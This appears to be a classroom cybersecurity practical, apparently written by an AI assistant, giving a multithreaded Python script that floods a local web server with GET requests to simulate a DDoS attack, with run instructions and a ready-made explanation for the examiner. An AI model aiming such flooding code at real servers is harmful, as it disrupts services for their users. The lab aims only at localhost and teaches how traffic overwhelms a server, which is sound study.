



Python Code (ddos_2.py)

```
import requests
import threading
import time

# Target server URL (localhost for testing)
url = "http://localhost:8000"
attack_running = True # A flag to control when threads stop

# Function to continuously send GET requests
def send_requests():
    while attack_running:
        try:
            print("Sending request...")
            response = requests.get(url)
            print(f"Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

# Function to launch multiple threads simulating DDoS
def launch_ddos(num_threads=50):
    print(f"Starting DDoS attack on {url} with {num_threads} threads.")
    threads = []
    for i in range(num_threads):
        thread = threading.Thread(target=send_requests)
        thread.start()
        threads.append(thread)
    return threads

# Main logic to run the attack for a fixed time
if __name__ == "__main__":
    print("Launching the DDoS script...")
    threads = launch_ddos()
    time.sleep(10) # Attack runs for 10 seconds
    attack_running = False # Stop threads
    for t in threads:
        t.join()
    print("DDoS attack completed.")
```



Step-by-Step Execution Commands

◆ Step 1: Start a Local Server

Open **PowerShell** or **CMD**, run:

```
python -m http.server 8000
```



This creates a simple local web server on port 8000. Leave this window running.

◆ Step 2: Open a New CMD/PowerShell Window

Navigate to the folder where your Python file is saved:

```
cd "C:\Users\Atul Gavhane\Desktop\TE-IT-WADL-main\cyber prac\ddos attack"
```

Then run the DDoS script:

```
python ddos_2.py
```

You will see a lot of Sending request... and Status Code: 200

◆ Step 3: Observe the Effects

- Your **server terminal** will print many GET requests.
 - The **browser or localhost** may slow down while the script is running.
 - After 10 seconds, the script will stop automatically.
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Explanation You Can Say to the Examiner

I wrote a Python script that simulates a DDoS attack using multithreading. The script launches 50 threads that continuously send GET requests to a local server on port 8000. I used Python's `requests` and `threading` modules. The attack runs for 10 seconds, simulating how heavy traffic can overwhelm a server. I used `http.server` as the test target.

Let me know if you want this in a formatted **PDF or Word file** with output screenshots and conclusion — perfect for submission!